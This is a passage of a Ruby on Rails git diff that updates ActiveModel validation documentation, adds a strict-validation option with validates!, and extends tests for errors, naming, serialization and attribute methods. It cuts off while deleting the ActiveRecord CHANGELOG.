+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
# not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
# The method, proc or string should return or evaluate to a true or false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
#
def validates_presence_of(*attr_names)
validates_with PresenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 7ff42de00b..8e09f6ac35 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -27,7 +27,7 @@ module ActiveModel
#
# class EmailValidator < ActiveModel::EachValidator
# def validate_each(record, attribute, value)
- # record.errors[attribute] << (options[:message] || "is not an email") unless
+ # record.errors.add attribute, (options[:message] || "is not an email") unless
# value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
# end
# end
@@ -48,7 +48,7 @@ module ActiveModel
#
# class TitleValidator < ActiveModel::EachValidator
# def validate_each(record, attribute, value)
- # record.errors[attribute] << "must start with 'the'" unless value =~ /\Athe/i
+ # record.errors.add attribute, "must start with 'the'" unless value =~ /\Athe/i
# end
# end
#
@@ -57,7 +57,7 @@ module ActiveModel
#
# Additionally validator classes may be in another namespace and still used within any class.
#
- # validates :name, :'file/title' => true
+ # validates :name, :'film/title' => true
#
# The validators hash can also handle regular expressions, ranges,
# arrays and strings in shortcut form, e.g.
@@ -70,8 +70,8 @@ module ActiveModel
# validator's initializer as +options[:in]+ while other types including
# regular expressions and strings are passed as +options[:with]+
#
- # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+ and +:allow_nil+ can be given
- # to one specific validator, as a hash:
+ # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+ and +:strict+
+ # can be given to one specific validator, as a hash:
#
# validates :password, :presence => { :if => :password_required? }, :confirmation => true
#
@@ -101,12 +101,24 @@ module ActiveModel
end
end
+ # This method is used to define validation that can not be corrected by end user
+ # and is considered exceptional.
+ # So each validator defined with bang or <tt>:strict</tt> option set to <tt>true</tt>
+ # will always raise <tt>ActiveModel::InternalValidationFailed</tt> instead of adding error
+ # when validation fails
+ # See <tt>validates</tt> for more information about validation itself.
+ def validates!(*attributes)
+ options = attributes.extract_options!
+ options[:strict] = true
+ validates(*(attributes << options))
+ end
+
protected
# When creating custom validators, it might be useful to be able to specify
# additional default keys. This can be done by overwriting this method.
def _validates_default_keys
- [ :if, :unless, :on, :allow_blank, :allow_nil ]
+ [ :if, :unless, :on, :allow_blank, :allow_nil , :strict]
end
def _parse_validates_options(options) #:nodoc:
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index a87b213fe4..72b8562b93 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -32,7 +32,7 @@ module ActiveModel
# class MyValidator < ActiveModel::Validator
# def validate(record)
# if some_complex_logic
- # record.errors[:base] << "This record is invalid"
+ # record.errors.add :base, "This record is invalid"
# end
# end
#
@@ -56,12 +56,14 @@ module ActiveModel
# if the validation should occur (e.g. <tt>:if => :allow_validation</tt>,
# or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
# The method, proc or string should return or evaluate to a true or false value.
- # * <tt>unless</tt> - Specifies a method, proc or string to call to
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
# determine if the validation should not occur
# (e.g. <tt>:unless => :skip_validation</tt>, or
# <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
# The method, proc or string should return or evaluate to a true or false value.
- #
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
+
# If you pass any additional configuration options, they will be passed
# to the class and available as <tt>options</tt>:
#
@@ -140,4 +142,4 @@ module ActiveModel
end
end
end
-end \ No newline at end of file
+end
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 5304743389..35ec98c822 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -48,8 +48,8 @@ module ActiveModel #:nodoc:
#
# class MyValidator < ActiveModel::Validator
# def validate(record)
- # record.errors[:base] << "This is some custom error message"
- # record.errors[:first_name] << "This is some complex validation"
+ # record.errors.add :base, "This is some custom error message"
+ # record.errors.add :first_name, "This is some complex validation"
# # etc...
# end
# end
@@ -57,7 +57,7 @@ module ActiveModel #:nodoc:
# To add behavior to the initialize method, use the following signature:
#
# class MyValidator < ActiveModel::Validator
- # def initialize(record, options)
+ # def initialize(options)
# super
# @my_custom_field = options[:field_name] || :first_name
# end
@@ -68,7 +68,7 @@ module ActiveModel #:nodoc:
#
# class TitleValidator < ActiveModel::EachValidator
# def validate_each(record, attribute, value)
- # record.errors[attribute] << 'must be Mr. Mrs. or Dr.' unless value.in?(['Mr.', 'Mrs.', 'Dr.'])
+ # record.errors.add attribute, 'must be Mr. Mrs. or Dr.' unless value.in?(['Mr.', 'Mrs.', 'Dr.'])
# end
# end
#
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index 9840e3364c..90f9b78334 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -3,8 +3,6 @@ require 'cases/helper'
class ModelWithAttributes
include ActiveModel::AttributeMethods
- attribute_method_suffix ''
-
class << self
define_method(:bar) do
'original bar'
@@ -24,14 +22,31 @@ end
class ModelWithAttributes2
include ActiveModel::AttributeMethods
+ attr_accessor :attributes
+
attribute_method_suffix '_test'
+
+private
+ def attribute(name)
+ attributes[name.to_s]
+ end
+
+ alias attribute_test attribute
+
+ def private_method
+ "<3 <3"
+ end
+
+protected
+
+ def protected_method
+ "O_o O_o"
+ end
end
class ModelWithAttributesWithSpaces
include ActiveModel::AttributeMethods
- attribute_method_suffix ''
-
def attributes
{ :'foo bar' => 'value of foo bar'}
end
@@ -45,8 +60,6 @@ end
class ModelWithWeirdNamesAttributes
include ActiveModel::AttributeMethods
- attribute_method_suffix ''
-
class << self
define_method(:'c?d') do
'original c?d'
@@ -76,6 +89,29 @@ class AttributeMethodsTest < ActiveModel::TestCase
assert_equal "value of foo", ModelWithAttributes.new.foo
end
+ test '#define_attribute_method does not generate attribute method if already defined in attribute module' do
+ klass = Class.new(ModelWithAttributes)
+ klass.generated_attribute_methods.module_eval do
+ def foo
+ '<3'
+ end
+ end
+ klass.define_attribute_method(:foo)
+
+ assert_equal '<3', klass.new.foo
+ end
+
+ test '#define_attribute_method generates a method that is already defined on the host' do
+ klass = Class.new(ModelWithAttributes) do
+ def foo
+ super
+ end
+ end
+ klass.define_attribute_method(:foo)
+
+ assert_equal 'value of foo', klass.new.foo
+ end
+
test '#define_attribute_method generates attribute method with invalid identifier characters' do
ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
@@ -98,20 +134,33 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attr_method generates attribute method' do
- ModelWithAttributes.define_attr_method(:bar, 'bar')
+ assert_deprecated do
+ ModelWithAttributes.define_attr_method(:bar, 'bar')
+ end
assert_respond_to ModelWithAttributes, :bar
- assert_equal "original bar", ModelWithAttributes.original_bar
+
+ assert_deprecated do
+ assert_equal "original bar", ModelWithAttributes.original_bar
+ end
+
assert_equal "bar", ModelWithAttributes.bar
- ModelWithAttributes.define_attr_method(:bar)
+ ActiveSupport::Deprecation.silence do
+ ModelWithAttributes.define_attr_method(:bar)
+ end
assert !ModelWithAttributes.bar
end
test '#define_attr_method generates attribute method with invalid identifier characters' do
- ModelWithWeirdNamesAttributes.define_attr_method(:'c?d', 'c?d')
+ ActiveSupport::Deprecation.silence do
+ ModelWithWeirdNamesAttributes.define_attr_method(:'c?d', 'c?d')
+ end
assert_respond_to ModelWithWeirdNamesAttributes, :'c?d'
- assert_equal "original c?d", ModelWithWeirdNamesAttributes.send('original_c?d')
+
+ ActiveSupport::Deprecation.silence do
+ assert_equal "original c?d", ModelWithWeirdNamesAttributes.send('original_c?d')
+ end
assert_equal "c?d", ModelWithWeirdNamesAttributes.send('c?d')
end
@@ -129,4 +178,64 @@ class AttributeMethodsTest < ActiveModel::TestCase
assert !ModelWithAttributes.new.respond_to?(:foo)
assert_raises(NoMethodError) { ModelWithAttributes.new.foo }
end
+
+ test 'acessing a suffixed attribute' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'foo' => 'bar' }
+
+ assert_equal 'bar', m.foo
+ assert_equal 'bar', m.foo_test
+ end
+
+ test 'explicitly specifying an empty prefix/suffix is deprecated' do
+ klass = Class.new(ModelWithAttributes)
+
+ assert_deprecated { klass.attribute_method_suffix '' }
+ assert_deprecated { klass.attribute_method_prefix '' }
+
+ klass.define_attribute_methods([:foo])
+
+ assert_equal 'value of foo', klass.new.foo
+ end
+
+ test 'should not interfere with method_missing if the attr has a private/protected method' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
+
+ # dispatches to the *method*, not the attribute
+ assert_equal '<3 <3', m.send(:private_method)
+ assert_equal 'O_o O_o', m.send(:protected_method)
+
+ # sees that a method is already defined, so doesn't intervene
+ assert_raises(NoMethodError) { m.private_method }
+ assert_raises(NoMethodError) { m.protected_method }
+ end
+
+ test 'should not interfere with respond_to? if the attribute has a private/protected method' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
+
+ assert !m.respond_to?(:private_method)
+ assert m.respond_to?(:private_method, true)
+
+ # This is messed up, but it's how Ruby works at the moment. Apparently it will be changed
+ # in the future.
+ assert m.respond_to?(:protected_method)
+ assert m.respond_to?(:protected_method, true)
+ end
+
+ test 'should use attribute_missing to dispatch a missing attribute' do
+ m = ModelWithAttributes2.new
+ m.attributes = { 'foo' => 'bar' }
+
+ def m.attribute_missing(match, *args, &block)
+ match
+ end
+
+ match = m.foo_test
+
+ assert_equal 'foo', match.attr_name
+ assert_equal 'attribute_test', match.target
+ assert_equal 'foo_test', match.method_name
+ end
end
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index 2eccc4e56d..24552bcaf2 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -25,8 +25,8 @@ class ConversionTest < ActiveModel::TestCase
end
test "to_path default implementation returns a string giving a relative path" do
- assert_equal "contacts/contact", Contact.new.to_path
- assert_equal "helicopters/helicopter", Helicopter.new.to_path,
- "ActiveModel::Conversion#to_path caching should be class-specific"
+ assert_equal "contacts/contact", Contact.new.to_partial_path
+ assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
+ "ActiveModel::Conversion#to_partial_path caching should be class-specific"
end
end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 85ca8ca835..8ddedb160a 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -33,6 +33,12 @@ class ErrorsTest < ActiveModel::TestCase
assert errors.include?(:foo), 'errors should include :foo'
end
+ def test_has_key?
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = 'omg'
+ assert errors.has_key?(:foo), 'errors should have key :foo'
+ end
+
test "should return true if no errors" do
person = Person.new
person.errors[:foo]
@@ -46,7 +52,6 @@ class ErrorsTest < ActiveModel::TestCase
person.validate!
assert_equal ["name can not be nil"], person.errors.full_messages
assert_equal ["can not be nil"], person.errors[:name]
-
end
test 'should be able to assign error' do
@@ -61,6 +66,63 @@ class ErrorsTest < ActiveModel::TestCase
assert_equal ["can not be blank"], person.errors[:name]
end
+ test "should be able to add an error with a symbol" do
+ person = Person.new
+ person.errors.add(:name, :blank)
+ message = person.errors.generate_message(:name, :blank)
+ assert_equal [message], person.errors[:name]
+ end
+
+ test "should be able to add an error with a proc" do
+ person = Person.new
+ message = Proc.new { "can not be blank" }
+ person.errors.add(:name, message)
+ assert_equal ["can not be blank"], person.errors[:name]
+ end
+
+ test "added? should be true if that error was added" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ assert person.errors.added?(:name, "can not be blank")
+ end
+
+ test "added? should handle when message is a symbol" do
+ person = Person.new
+ person.errors.add(:name, :blank)
+ assert person.errors.added?(:name, :blank)
+ end
+
+ test "added? should handle when message is a proc" do
+ person = Person.new
+ message = Proc.new { "can not be blank" }
+ person.errors.add(:name, message)
+ assert person.errors.added?(:name, message)
+ end
+
+ test "added? should default message to :invalid" do
+ person = Person.new
+ person.errors.add(:name, :invalid)
+ assert person.errors.added?(:name)
+ end
+
+ test "added? should be true when several errors are present, and we ask for one of them" do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "is invalid")
+ assert person.errors.added?(:name, "can not be blank")
+ end
+
+ test "added? should be false if no errors are present" do
+ person = Person.new
+ assert !person.errors.added?(:name)
+ end
+
+ test "added? should be false when an error is present, but we check for another error" do
+ person = Person.new
+ person.errors.add(:name, "is invalid")
+ assert !person.errors.added?(:name, "can not be blank")
+ end
+
test 'should respond to size' do
person = Person.new
person.errors.add(:name, "can not be blank")
@@ -72,7 +134,6 @@ class ErrorsTest < ActiveModel::TestCase
person.errors.add(:name, "can not be blank")
person.errors.add(:name, "can not be nil")
assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
-
end
test 'to_hash should return an ordered hash' do
@@ -80,4 +141,40 @@ class ErrorsTest < ActiveModel::TestCase
person.errors.add(:name, "can not be blank")
assert_instance_of ActiveSupport::OrderedHash, person.errors.to_hash
end
+
+ test 'full_messages should return an array of error messages, with the attribute name included' do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "can not be nil")
+ assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+ end
+
+ test 'full_message should return the given message if attribute equals :base' do
+ person = Person.new
+ assert_equal "press the button", person.errors.full_message(:base, "press the button")
+ end
+
+ test 'full_message should return the given message with the attribute name included' do
+ person = Person.new
+ assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
+ end
+
+ test 'should return a JSON hash representation of the errors' do
+ person = Person.new
+ person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "can not be nil")
+ person.errors.add(:email, "is invalid")
+ hash = person.errors.as_json
+ assert_equal ["can not be blank", "can not be nil"], hash[:name]
+ assert_equal ["is invalid"], hash[:email]
+ end
+
+ test "generate_message should work without i18n_scope" do
+ person = Person.new
+ assert !Person.respond_to?(:i18n_scope)
+ assert_nothing_raised {
+ person.errors.generate_message(:name, :blank)
+ }
+ end
end
+
diff --git a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
index 62a6ec9c9b..676937b5e1 100644
--- a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
+++ b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
@@ -7,7 +7,7 @@ class SanitizerTest < ActiveModel::TestCase
class Authorizer < ActiveModel::MassAssignmentSecurity::PermissionSet
def deny?(key)
- key.in?(['admin'])
+ ['admin', 'id'].include?(key)
end
end
@@ -40,4 +40,12 @@ class SanitizerTest < ActiveModel::TestCase
end
end
+ test "mass assignment insensitive attributes" do
+ original_attributes = {'id' => 1, 'first_name' => 'allowed'}
+
+ assert_nothing_raised do
+ @strict_sanitizer.sanitize(original_attributes, @authorizer)
+ end
+ end
+
end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
index bafe4f3c0c..e8db73ba52 100644
--- a/activemodel/test/cases/naming_test.rb
+++ b/activemodel/test/cases/naming_test.rb
@@ -26,7 +26,7 @@ class NamingTest < ActiveModel::TestCase
end
def test_partial_path
- assert_deprecated(/#partial_path.*#to_path/) do
+ assert_deprecated(/#partial_path.*#to_partial_path/) do
assert_equal 'post/track_backs/track_back', @model_name.partial_path
end
end
@@ -58,7 +58,7 @@ class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
end
def test_partial_path
- assert_deprecated(/#partial_path.*#to_path/) do
+ assert_deprecated(/#partial_path.*#to_partial_path/) do
assert_equal 'blog/posts/post', @model_name.partial_path
end
end
@@ -74,10 +74,6 @@ class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
def test_param_key
assert_equal 'post', @model_name.param_key
end
-
- def test_recognizing_namespace
- assert_equal 'Post', Blog::Post.model_name.instance_variable_get("@unnamespaced")
- end
end
class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase
@@ -102,7 +98,7 @@ class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase
end
def test_partial_path
- assert_deprecated(/#partial_path.*#to_path/) do
+ assert_deprecated(/#partial_path.*#to_partial_path/) do
assert_equal 'blog/posts/post', @model_name.partial_path
end
end
@@ -142,13 +138,13 @@ class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
end
def test_partial_path
- assert_deprecated(/#partial_path.*#to_path/) do
+ assert_deprecated(/#partial_path.*#to_partial_path/) do
assert_equal 'articles/article', @model_name.partial_path
end
end
def test_human
- 'Article'
+ assert_equal 'Article', @model_name.human
end
def test_route_key
@@ -160,6 +156,40 @@ class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
end
end
+class NamingUsingRelativeModelNameTest < ActiveModel::TestCase
+ def setup
+ @model_name = Blog::Post.model_name
+ end
+
+ def test_singular
+ assert_equal 'blog_post', @model_name.singular
+ end
+
+ def test_plural
+ assert_equal 'blog_posts', @model_name.plural
+ end
+
+ def test_element
+ assert_equal 'post', @model_name.element
+ end
+
+ def test_collection
+ assert_equal 'blog/posts', @model_name.collection
+ end
+
+ def test_human
+ assert_equal 'Post', @model_name.human
+ end
+
+ def test_route_key
+ assert_equal 'posts', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'post', @model_name.param_key
+ end
+end
+
class NamingHelpersTest < Test::Unit::TestCase
def setup
@klass = Contact
@@ -217,3 +247,16 @@ class NamingHelpersTest < Test::Unit::TestCase
ActiveModel::Naming.send(method, *args)
end
end
+
+class NameWithAnonymousClassTest < Test::Unit::TestCase
+ def test_anonymous_class_without_name_argument
+ assert_raises(ArgumentError) do
+ ActiveModel::Name.new(Class.new)
+ end
+ end
+
+ def test_anonymous_class_with_name_argument
+ model_name = ActiveModel::Name.new(Class.new, nil, "Anonymous")
+ assert_equal "Anonymous", model_name
+ end
+end
diff --git a/activemodel/test/cases/observing_test.rb b/activemodel/test/cases/observing_test.rb
index 99b1f407ae..f6ec24ae57 100644
--- a/activemodel/test/cases/observing_test.rb
+++ b/activemodel/test/cases/observing_test.rb
@@ -17,6 +17,10 @@ class FooObserver < ActiveModel::Observer
def on_spec(record)
stub.event_with(record) if stub
end
+
+ def around_save(record)
+ yield :in_around_save
+ end
end
class Foo
@@ -133,4 +137,12 @@ class ObserverTest < ActiveModel::TestCase
foo = Foo.new
Foo.send(:notify_observers, :whatever, foo)
end
+
+ test "update passes a block on to the observer" do
+ yielded_value = nil
+ FooObserver.instance.update(:around_save, Foo.new) do |val|
+ yielded_value = val
+ end
+ assert_equal :in_around_save, yielded_value
+ end
end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 6950c3be1f..4338a3fc53 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -10,15 +10,13 @@ class SecurePasswordTest < ActiveModel::TestCase
end
test "blank password" do
- user = User.new
- user.password = ''
- assert !user.valid?, 'user should be invalid'
+ @user.password = ''
+ assert !@user.valid?, 'user should be invalid'
end
test "nil password" do
- user = User.new
- user.password = nil
- assert !user.valid?, 'user should be invalid'
+ @user.password = nil
+ assert !@user.valid?, 'user should be invalid'
end
test "password must be present" do
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
index 5122f08eec..b8dad9d51f 100644
--- a/activemodel/test/cases/serialization_test.rb
+++ b/activemodel/test/cases/serialization_test.rb
@@ -77,6 +77,15 @@ class SerializationTest < ActiveModel::TestCase
assert_equal expected , @user.serializable_hash(:methods => [:bar])
end
+ def test_should_use_read_attribute_for_serialization
+ def @user.read_attribute_for_serialization(n)
+ "Jon"
+ end
+
+ expected = { "name" => "Jon" }
+ assert_equal expected, @user.serializable_hash(:only => :name)
+ end
+
def test_include_option_with_singular_association
expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com",
:address=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}}
@@ -114,8 +123,29 @@ class SerializationTest < ActiveModel::TestCase
@user.friends.first.friends = [@user]
expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
:friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male',
- :friends => ["email"=>"david@example.com", "gender"=>"male", "name"=>"David"]},
+ :friends => [{"email"=>"david@example.com", "gender"=>"male", "name"=>"David"}]},
{"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female', :friends => []}]}
assert_equal expected , @user.serializable_hash(:include => {:friends => {:include => :friends}})
end
+
+ def test_only_include
+ expected = {"name"=>"David", :friends => [{"name" => "Joe"}, {"name" => "Sue"}]}
+ assert_equal expected , @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}})
+ end
+
+ def test_except_include
+ expected = {"name"=>"David", "email"=>"david@example.com",
+ :friends => [{"name" => 'Joe', "email" => 'joe@example.com'},
+ {"name" => "Sue", "email" => 'sue@example.com'}]}
+ assert_equal expected , @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}})
+ end
+
+ def test_multiple_includes_with_options
+ expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+ :address=>{"street"=>"123 Lane"},
+ :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
+ {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
+ assert_equal expected , @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends])
+ end
+
end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index 5e1e7d897a..4ac5fb1779 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -14,9 +14,11 @@ class Contact
end
end
+ remove_method :attributes if method_defined?(:attributes)
+
def attributes
instance_values
- end unless method_defined?(:attributes)
+ end
end
class JsonSerializationTest < ActiveModel::TestCase
@@ -56,6 +58,16 @@ class JsonSerializationTest < ActiveModel::TestCase
end
end
+ test "should include root in json (option) even if the default is set to false" do
+ begin
+ Contact.include_root_in_json = false
+ json = @contact.to_json(:root => true)
+ assert_match %r{^\{"contact":\{}, json
+ ensure
+ Contact.include_root_in_json = true
+ end
+ end
+
test "should not include root in json (option)" do
json = @contact.to_json(:root => false)
@@ -196,4 +208,14 @@ class JsonSerializationTest < ActiveModel::TestCase
assert_no_match %r{"preferences":}, json
end
+ test "custom as_json options should be extendible" do
+ def @contact.as_json(options = {}); super(options.merge(:only => [:name])); end
+ json = @contact.to_json
+
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json
+ assert_no_match %r{"awesome":}, json
+ assert_no_match %r{"preferences":}, json
+ end
+
end
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index a38ef8e223..38aecf51ff 100644
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -9,6 +9,8 @@ class Contact
attr_accessor :address, :friends
+ remove_method :attributes if method_defined?(:attributes)
+
def attributes
instance_values.except("address", "friends")
end
@@ -33,6 +35,12 @@ class Address
end
end
+class SerializableContact < Contact
+ def serializable_hash(options={})
+ super(options.merge(:only => [:name, :age]))
+ end
+end
+
class XmlSerializationTest < ActiveModel::TestCase
def setup
@contact = Contact.new
@@ -96,6 +104,17 @@ class XmlSerializationTest < ActiveModel::TestCase
assert_match %r{<createdAt}, @xml
end
+ test "should use serialiable hash" do
+ @contact = SerializableContact.new
+ @contact.name = 'aaron stack'
+ @contact.age = 25
+
+ @xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, @xml
+ assert_match %r{<age type="integer">25</age>}, @xml
+ assert_no_match %r{<awesome>}, @xml
+ end
+
test "should allow skipped types" do
@xml = @contact.to_xml :skip_types => true
assert_match %r{<age>25</age>}, @xml
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 72a383f128..adab8ccb2b 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -46,12 +46,12 @@ class ExclusionValidationTest < ActiveModel::TestCase
def test_validates_exclusion_of_with_lambda
Topic.validates_exclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
- p = Topic.new
- p.title = "elephant"
- p.author_name = "sikachu"
- assert p.invalid?
+ t = Topic.new
+ t.title = "elephant"
+ t.author_name = "sikachu"
+ assert t.invalid?
- p.title = "wasabi"
- assert p.valid?
+ t.title = "wasabi"
+ assert t.valid?
end
end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index 2ce714fef0..41a1131bcb 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -101,25 +101,25 @@ class PresenceValidationTest < ActiveModel::TestCase
def test_validates_format_of_with_lambda
Topic.validates_format_of :content, :with => lambda{ |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
- p = Topic.new
- p.title = "digit"
- p.content = "Pixies"
- assert p.invalid?
+ t = Topic.new
+ t.title = "digit"
+ t.content = "Pixies"
+ assert t.invalid?
- p.content = "1234"
- assert p.valid?
+ t.content = "1234"
+ assert t.valid?
end
def test_validates_format_of_without_lambda
Topic.validates_format_of :content, :without => lambda{ |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
- p = Topic.new
- p.title = "characters"
- p.content = "1234"
- assert p.invalid?
+ t = Topic.new
+ t.title = "characters"
+ t.content = "1234"
+ assert t.invalid?
- p.content = "Pixies"
- assert p.valid?
+ t.content = "Pixies"
+ assert t.valid?
end
def test_validates_format_of_for_ruby_class
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 413da92de4..851d345eab 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -78,12 +78,12 @@ class InclusionValidationTest < ActiveModel::TestCase
def test_validates_inclusion_of_with_lambda
Topic.validates_inclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
- p = Topic.new
- p.title = "wasabi"
- p.author_name = "sikachu"
- assert p.invalid?
+ t = Topic.new
+ t.title = "wasabi"
+ t.author_name = "sikachu"
+ assert t.invalid?
- p.title = "elephant"
- assert p.valid?
+ t.title = "elephant"
+ assert t.valid?
end
end
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 0b50acf913..2f4376bd41 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -297,4 +297,37 @@ class ValidationsTest < ActiveModel::TestCase
assert auto.valid?
end
+
+ def test_strict_validation_in_validates
+ Topic.validates :title, :strict => true, :presence => true
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_strict_validation_not_fails
+ Topic.validates :title, :strict => true, :presence => true
+ assert Topic.new(:title => "hello").valid?
+ end
+
+ def test_strict_validation_particular_validator
+ Topic.validates :title, :presence => {:strict => true}
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_strict_validation_in_custom_validator_helper
+ Topic.validates_presence_of :title, :strict => true
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_validates_with_bang
+ Topic.validates! :title, :presence => true
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
end
diff --git a/activemodel/test/models/blog_post.rb b/activemodel/test/models/blog_post.rb
index d289177259..46eba857df 100644
--- a/activemodel/test/models/blog_post.rb
+++ b/activemodel/test/models/blog_post.rb
@@ -1,10 +1,6 @@
module Blog
- def self._railtie
- Object.new
- end
-
- def self.table_name_prefix
- "blog_"
+ def self.use_relative_model_naming?
+ true
end
class Post
diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG
deleted file mode 100644
index e8d4b9c04e..0000000000
--- a/activerecord/CHANGELOG
+++ /dev/null
@@ -1,6500 +0,0 @@
-*Rails 3.2.0 (unreleased)*
-
-* If multiple parameters are sent representing a date, and some are blank, the
-resulting object is nil. In previous releases those values defaulted to 1. This
-only affects existing but blank parameters, missing ones still raise an error.
-[Akira Matsuda]
-
-* ActiveRecord::Base.establish_connection now takes a string that contains
-a URI that specifies the connection configuration. For example:
-
- ActiveRecord::Base.establish_connection 'postgres://localhost/foo'
-
